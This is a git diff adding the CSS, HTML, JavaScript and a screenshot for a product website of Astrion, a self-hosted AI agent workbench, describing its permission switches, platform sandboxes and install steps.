+ +/* ═══════ 四组开关 ═══════ */ + +.switchboard { + background: var(--surface); + border: 1px solid var(--border); + border-radius: 12px; + padding: 22px 24px; +} + +.sw-row { + display: flex; + align-items: center; + flex-wrap: wrap; + gap: 8px; + padding: 10px 0; +} + +.sw-row + .sw-row { border-top: 1px solid var(--border); } + +.sw-label { + width: 64px; + flex-shrink: 0; + font-size: 13px; + color: var(--text-2); +} + +.sw-pill { + font: inherit; + font-size: 13.5px; + padding: 5px 15px; + border-radius: 999px; + border: 1px solid var(--border); + background: transparent; + color: var(--text-2); + cursor: pointer; + transition: all 0.15s ease; +} + +.sw-pill:hover { border-color: var(--text-2); color: var(--text); } + +.sw-pill.on { + background: var(--text); + border-color: var(--text); + color: var(--bg); +} + +/* verdict:等宽输出块,无任何装饰竖条 */ +.verdict { + width: 100%; + margin-top: 14px; + background: var(--code-bg); + color: var(--code-text); + border-radius: 10px; + padding: 16px 20px; + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 12.8px; + line-height: 1.8; + white-space: pre-wrap; + word-break: break-word; +} + +.verdict .v-dim { color: rgba(242, 237, 226, 0.45); } +.verdict .v-warn { color: #e0a899; } + +/* ═══════ 安全表格 ═══════ */ + +.table-wrap { + border: 1px solid var(--border); + border-radius: 12px; + overflow: hidden; + background: var(--surface); +} + +table { width: 100%; border-collapse: collapse; font-size: 14px; } + +th { + text-align: left; + font-weight: 500; + font-size: 12.5px; + color: var(--text-2); + padding: 12px 18px; + border-bottom: 1px solid var(--border); + background: var(--bg); +} + +td { padding: 13px 18px; border-bottom: 1px solid var(--border); vertical-align: top; } +tbody tr:last-child td { border-bottom: none; } +td:first-child { font-weight: 600; white-space: nowrap; } +td:nth-child(2) { font-family: ui-monospace, "SF Mono", Menlo, monospace; font-size: 12.5px; color: var(--text-2); white-space: nowrap; } + +.dot { + display: inline-block; + width: 7px; + height: 7px; + border-radius: 50%; + margin-right: 8px; + vertical-align: 1px; +} + +.dot.ok { background: var(--ok); } +.dot.warn { background: var(--warn); } +.dot.untested { background: var(--untested); } + +/* ═══════ 列表 ═══════ */ + +.plain-list, .cap-list { list-style: none; } + +.plain-list li { + padding: 10px 0; + font-size: 14.5px; + color: var(--text-2); +} + +.plain-list li + li { border-top: 1px solid var(--border); } +.plain-list strong { color: var(--text); font-weight: 600; margin-right: 4px; } + +.cap-list li { padding: 16px 0; } +.cap-list li + li { border-top: 1px solid var(--border); } + +.cap-list strong { display: block; font-size: 15.5px; font-weight: 600; margin-bottom: 5px; } +.cap-list span { display: block; font-size: 14.5px; color: var(--text-2); } + +.beta { + font-style: normal; + font-size: 10.5px; + font-weight: 600; + letter-spacing: 0.05em; + color: var(--accent); + border: 1px solid rgba(204, 120, 92, 0.4); + border-radius: 5px; + padding: 1.5px 6px; + margin-left: 6px; + vertical-align: 2px; +} + +/* ═══════ 安装 ═══════ */ + +.install { + border: 1px solid var(--border); + border-radius: 12px; + overflow: hidden; + background: var(--surface); +} + +.install-tabs { + display: flex; + border-bottom: 1px solid var(--border); + background: var(--bg); +} + +.install-tab { + font: inherit; + font-size: 13.5px; + padding: 11px 22px; + background: transparent; + border: none; + border-bottom: 2px solid transparent; + color: var(--text-2); + cursor: pointer; + margin-bottom: -1px; + transition: color 0.15s ease; +} + +.install-tab:hover { color: var(--text); } +.install-tab.on { color: var(--text); border-bottom-color: var(--accent); font-weight: 500; } + +.install-pane { padding: 4px; } +.install-pane.hidden { display: none; } + +.install-pane pre { + background: var(--code-bg); + color: var(--code-text); + border-radius: 10px; + margin: 12px; + padding: 18px 20px; + overflow-x: auto; + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 13px; + line-height: 1.85; +} + +.install-pane pre code { + background: transparent; + padding: 0; + font-size: inherit; + color: inherit; +} + +.install-after { font-size: 13.5px; color: var(--text-2); padding: 0 16px 14px; } +.install-after code { font-size: 12px; } + +/* ═══════ 文档目录 ═══════ */ + +.doc-list { + border: 1px solid var(--border); + border-radius: 12px; + overflow: hidden; + background: var(--surface); +} + +.doc-list a { + display: flex; + align-items: baseline; + gap: 16px; + padding: 12px 20px; + color: var(--text); + font-size: 14.5px; + border-bottom: 1px solid var(--border); + transition: background 0.12s ease; +} + +.doc-list a:last-child { border-bottom: none; } +.doc-list a:hover { background: var(--bubble); text-decoration: none; } + +.doc-list a span { + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 11.5px; + color: var(--text-2); + flex-shrink: 0; +} + +.doc-list .beta { margin-left: auto; } + +/* ═══════ 页脚 ═══════ */ + +.foot { + margin-top: 96px; + padding: 36px 0 calc(var(--composer-h) + 40px); + text-align: center; + font-size: 13px; + color: var(--text-2); +} + +.foot-note { margin-top: 6px; font-size: 12.5px; opacity: 0.75; } + +/* ═══════ 底部输入栏 ═══════ */ + +.composer { + position: fixed; + left: var(--rail-w); + right: 0; + bottom: 0; + z-index: 40; + padding: 14px 32px 16px; + background: linear-gradient(to bottom, rgba(250, 249, 245, 0), var(--bg) 28%); +} + +.composer-box { + max-width: var(--thread-w); + margin: 0 auto; + display: flex; + align-items: center; + gap: 12px; + background: var(--surface); + border: 1px solid var(--border); + border-radius: 16px; + padding: 10px 12px 10px 16px; + box-shadow: 0 2px 16px rgba(33, 29, 22, 0.07); +} + +.composer-avatar { flex-shrink: 0; width: 24px; height: 24px; color: var(--text); } + +.composer-box input { + flex: 1; + min-width: 0; + border: none; + outline: none; + background: transparent; + font: inherit; + font-size: 14.5px; + color: var(--text); +} + +.composer-box input::placeholder { color: var(--text-2); opacity: 0.6; } + +.composer-send { + flex-shrink: 0; + width: 34px; + height: 34px; + border: none; + border-radius: 10px; + background: var(--text); + color: var(--bg); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: opacity 0.15s ease; +} + +.composer-send:hover { opacity: 0.82; } + +.composer-send svg { + width: 15px; + height: 15px; + fill: none; + stroke: currentColor; + stroke-width: 1.8; + stroke-linecap: round; + stroke-linejoin: round; +} + +.composer-chips { + max-width: var(--thread-w); + margin: 9px auto 0; + display: flex; + gap: 7px; + flex-wrap: wrap; +} + +.composer-chips span { + font-size: 11.5px; + color: var(--text-2); + border: 1px solid var(--border); + background: var(--surface); + border-radius: 999px; + padding: 3px 11px; + cursor: default; +} + +/* ═══════ 窄屏 ═══════ */ + +@media (max-width: 720px) { + :root { --rail-w: 0px; --composer-h: 118px; } + + .rail { + inset: 0 0 auto 0; + width: auto; + height: 52px; + flex-direction: row; + border-right: none; + border-bottom: 1px solid var(--border); + padding: 0 12px; + overflow-x: auto; + } + + .rail-logo { margin-bottom: 0; margin-right: 6px; } + .rail-spacer { display: none; } + .rail-tip { display: none; } + .rail-item { flex-shrink: 0; } + + .thread { margin-left: 0; padding: 52px 20px 0; } + .opening { min-height: 62vh; } + .opening-line { font-size: 26px; } + .msg-avatar { margin-right: 12px; } + .bubble { max-width: 88%; } + .composer { left: 0; padding: 12px 16px 12px; } + .sw-label { width: 100%; margin-bottom: 2px; } + td:nth-child(2) { white-space: normal; } +} diff --git a/website-design/site/index.html b/website-design/site/index.html new file mode 100644 index 00000000..c4874e66 --- /dev/null +++ b/website-design/site/index.html @@ -0,0 +1,284 @@ + + + + + + Astrion —— 住在你机器上的智能体工作台 + + + + + + + + + + +
      + + +
      +
      +

      你好,我是 Astrion。

      +

      一个住在你机器上的智能体工作台。

      +
      + Web 界面 + CLI 开发中 + Android +
      +
      + $ git clone https://github.com/JOJO6618/astrion.git + +
      +
      + + +
      +
      你是什么?
      +
      +
      +
      +
      +

      Astrion 是一个运行在你自己机器上的智能体工作台:普通对话、多智能体团队、工作流与技能包。开源,自托管,数据不出本机——你的对话、文件和密钥都在你自己的磁盘上。

      +
      +
      localhost:8091
      + Astrion 主界面(经典主题) +
      +

      上图是它的主界面。左侧栏底行即控制台:对话类型、运行模式、权限、执行环境,一眼可见、一点即切。中间的形象不只是会标——工作、思考、调用工具时都有实时表情。

      +
      +
      + + +
      +
      和别的智能体有什么不同?
      +
      +
      +
      +
      +

      行为边界被做成四组一眼可见的开关,而不是藏在文档里的注意事项。点一点,看看组合的含义:

      +
      +
      + 部署模式 + + +
      +
      + 权限模式 + + + + +
      +
      + 执行环境 + + +
      +
      + 运行模式 + + + +
      +
      +
      +

      四组开关互相正交,唯一例外:计划模式会把权限与执行环境锁定为「只读 + 沙箱」,批准计划后自动转入执行。

      +
      +
      + + +
      +
      安全吗?
      +
      +
      +
      +
      +

      分两层说。第一层是命令隔离,不同平台能提供的强度不同——如实列出:

      +
      + + + + + + + +
      平台沙箱实现安全水位
      WindowsWSL2完全数据隔离,需先安装 WSL2
      macOSsandbox-exec能限制写入;文件系统全局可读,防不住数据泄露
      Linuxbwrap + seccomp尚未实测,请勿依赖其隔离性
      +
      +

      第二层是你的资产,与平台无关:

      +
        +
      • 版本控制——每条你发出的消息打一个检查点,随时回溯。浅备份只追踪 write_file / edit_file 编辑过的文件。
      • +
      • 修改留痕——每次编辑落盘一份标准 diff,git apply 重做,git apply -R 撤销。
      • +
      • Git 状态栏——仓库状态实时可见,AI 的改动随时可查。
      • +
      +
      +
      + + +
      +
      会什么?
      +
      +
      +
      +
      +
        +
      • + 多智能体团队 + Team Leader 带领一支有角色的团队:全栈工程师、代码评审、调研员、UI 操作、头脑风暴。分工协作、互相请教,每一步都向你汇报。预置 5 个角色,也可以自己写。 +
      • +
      • + 快捷窗口 + 对话区右侧的五个看板:待办、子智能体、后台命令、文件记录、工作流。任务进展、产物收取、失控终止,抬手就够到。 +
      • +
      • + 工作流与技能包 + 把流程沉淀为工作流,把经验沉淀为 Skill。内置 4 个工作流、12 个技能包;用得越久,它越懂你的章法。 +
      • +
      • + 目标模式 Beta + 给出一个长期目标,它自动一轮一轮推进:每轮自我评估,可配审核智能体把关,触顶或达成才停。 +
      • +
      • + MCP 扩展 + 通过 Model Context Protocol 接入外部工具服务;host 模式下对它说一句「帮我配置 xxx」即可装好。 +
      • +
      • + 实时终端 + 对话里直接跑命令、看输出,终端就在手边——这是效率设计,不是安全边界,安全由上面的开关负责。 +
      • +
      +
      + 截图待补:多智能体团队运行中 +
      +
      +
      + + +
      +
      怎么开始?
      +
      +
      +
      +
      +

      三分钟。环境要求:Python 3.10+、Node.js 18+;docker 模式另需 Docker。

      +
      +
      + + +
      +
      +
      # 1. 克隆
      +git clone https://github.com/JOJO6618/astrion.git
      +cd astrion
      +
      +# 2. 初始化向导:运行模式(选 host)→ 端口 → 管理员 → 模型
      +./setup.sh
      +
      +# 3. 构建前端并启动
      +npm install && npm run build
      +./start.sh
      +

      打开 http://localhost:8091,剩下的交给向导。

      +
      + +
      +
      +
      + + +
      +
      文档呢?
      +
      + + + +
      + +
      +

      © 2026 Astrion · 开源 · GitHub

      +

      星之子,星际粒子。把人类意图传递到工具、文件与终端之间。

      +
      +
      + + +
      +
      + + + +
      +
      + 智能体 + 执行 + 版本控制 + 沙箱 +
      +
      + + + + + diff --git a/website-design/site/js/main.js b/website-design/site/js/main.js new file mode 100644 index 00000000..ab84e985 --- /dev/null +++ b/website-design/site/js/main.js @@ -0,0 +1,180 @@ +/* Astrion 官网 —— 交互逻辑 */ + +(function () { + 'use strict'; + + /* ── 形象挂载 ── + hero / 输入栏:眨眼 + 鼠标追踪 + 消息头像 / 侧栏:只眨眼,不追踪(满屏眼睛跟鼠标会乱) */ + AstrionAvatar.mount(document.getElementById('heroAvatar'), { mode: 'idle', blink: true, track: true }); + AstrionAvatar.mount(document.getElementById('railAvatar'), { mode: 'idle', blink: true, track: false }); + AstrionAvatar.mount(document.getElementById('composerAvatar'), { mode: 'idle', blink: true, track: true }); + document.querySelectorAll('.msg-avatar[data-avatar]').forEach(function (el) { + AstrionAvatar.mount(el, { mode: 'idle', blink: true, track: false }); + }); + + /* ── 滚动淡入 ── */ + var io = new IntersectionObserver(function (entries) { + entries.forEach(function (e) { + if (e.isIntersecting) { + e.target.classList.add('in'); + io.unobserve(e.target); + } + }); + }, { threshold: 0.12 }); + document.querySelectorAll('.reveal').forEach(function (el) { io.observe(el); }); + + /* ── 四组开关 → verdict ── */ + var state = { deploy: 'host', perm: 'approval', exec: 'sandbox', work: 'plan' }; + + var VERDICT = { + deploy: { + host: '数据落在本机 ~/.astrion,命令跑在宿主机上', + docker: '每个用户的命令在独立 Docker 容器里执行' + }, + perm: { + readonly: 'AI 只能读,写操作被系统拒绝', + approval: '写操作先弹给你,逐次点头', + auto: '写操作由审核智能体把关', + unrestricted: '不做权限拦截' + }, + exec: { + sandbox: '命令约束在 OS 沙箱内', + direct: '命令直接跑在宿主机(高风险)' + }, + work: { + plan: 'AI 先出计划与你讨论,批准后转入执行', + ask: '先讨论,后开工', + execute: '自主开工,只在硬阻塞时提问' + } + }; + + var verdictEl = document.querySelector('#verdict code'); + + function renderVerdict() { + var line = VERDICT.deploy[state.deploy] + ';' + + VERDICT.exec[state.exec] + ';' + + VERDICT.perm[state.perm] + ';' + + VERDICT.work[state.work] + '。'; + var html = '$ astrion --explain\n> ' + line; + if (state.work === 'plan' && (state.perm !== 'readonly' || state.exec !== 'sandbox')) { + html += '\n;; 注意:计划模式生效时,权限与执行环境将被锁定为 只读 + 沙箱'; + } + verdictEl.innerHTML = html; + } + + document.querySelectorAll('.sw-row').forEach(function (row) { + var group = row.dataset.group; + row.querySelectorAll('.sw-pill').forEach(function (pill) { + pill.addEventListener('click', function () { + row.querySelectorAll('.sw-pill').forEach(function (p) { p.classList.remove('on'); }); + pill.classList.add('on'); + state[group] = pill.dataset.v; + renderVerdict(); + }); + }); + }); + renderVerdict(); + + /* ── 安装 tab ── */ + document.querySelectorAll('.install-tab').forEach(function (tab) { + tab.addEventListener('click', function () { + document.querySelectorAll('.install-tab').forEach(function (t) { t.classList.remove('on'); }); + tab.classList.add('on'); + var name = tab.dataset.tab; + document.querySelectorAll('.install-pane').forEach(function (pane) { + pane.classList.toggle('hidden', pane.dataset.pane !== name); + }); + }); + }); + + /* ── clone 命令复制(按钮固定尺寸,只换图标) ── */ + var cloneBtn = document.getElementById('cloneCopy'); + var cloneTimer = null; + cloneBtn.addEventListener('click', function () { + var text = 'git clone https://github.com/JOJO6618/astrion.git'; + function markCopied() { + cloneBtn.classList.add('copied'); + clearTimeout(cloneTimer); + cloneTimer = setTimeout(function () { cloneBtn.classList.remove('copied'); }, 1600); + } + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(text).then(markCopied, function () { fallbackCopy(text); markCopied(); }); + } else { + fallbackCopy(text); + markCopied(); + } + }); + + function fallbackCopy(text) { + var ta = document.createElement('textarea'); + ta.value = text; + ta.style.position = 'fixed'; + ta.style.opacity = '0'; + document.body.appendChild(ta); + ta.select(); + try { document.execCommand('copy'); } catch (e) {} + document.body.removeChild(ta); + } + + /* ── 文档链接(文档站未建,先拦截) ── */ + document.querySelectorAll('.doc-list a').forEach(function (a) { + a.addEventListener('click', function (e) { e.preventDefault(); }); + }); + + /* ── 输入栏彩蛋 ── */ + var input = document.getElementById('composerInput'); + var sendBtn = document.getElementById('composerSend'); + var anchor = document.getElementById('echo-anchor'); + var echoBusy = false; + + function scrollToBottom() { + window.scrollTo({ top: document.body.scrollHeight, behavior: 'smooth' }); + } + + function sendEcho() { + var text = input.value.trim(); + if (!text || echoBusy) return; + echoBusy = true; + + // 用户气泡 + var userMsg = document.createElement('div'); + userMsg.className = 'msg user'; + var bubble = document.createElement('div'); + bubble.className = 'bubble'; + bubble.textContent = text; + userMsg.appendChild(bubble); + anchor.before(userMsg); + + input.value = ''; + scrollToBottom(); + + // AI 思考中(think 表情) + var aiMsg = document.createElement('div'); + aiMsg.className = 'msg ai'; + var avatarHolder = document.createElement('div'); + avatarHolder.className = 'msg-avatar'; + aiMsg.appendChild(avatarHolder); + var body = document.createElement('div'); + body.className = 'msg-body'; + aiMsg.appendChild(body); + anchor.before(aiMsg); + + AstrionAvatar.mount(avatarHolder, { mode: 'think' }); + + setTimeout(function () { + avatarHolder.innerHTML = ''; + AstrionAvatar.mount(avatarHolder, { mode: 'idle', blink: true, track: false }); + var p = document.createElement('p'); + p.innerHTML = '这是演示环境,我不会真的执行。真的我住在你的机器上——克隆、初始化、启动,三分钟就能见面:git clone https://github.com/JOJO6618/astrion.git'; + body.appendChild(p); + scrollToBottom(); + echoBusy = false; + }, 1400); + } + + input.addEventListener('keydown', function (e) { + if (e.key === 'Enter') sendEcho(); + }); + sendBtn.addEventListener('click', sendEcho); +})(); diff --git a/website-design/v1-editorial/assets/product-main-classic.png b/website-design/v1-editorial/assets/product-main-classic.png new file mode 100644 index 0000000000000000000000000000000000000000..f8290d2593b1d75054cd22a9b588f79e00701958 GIT binary patch literal 35167 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 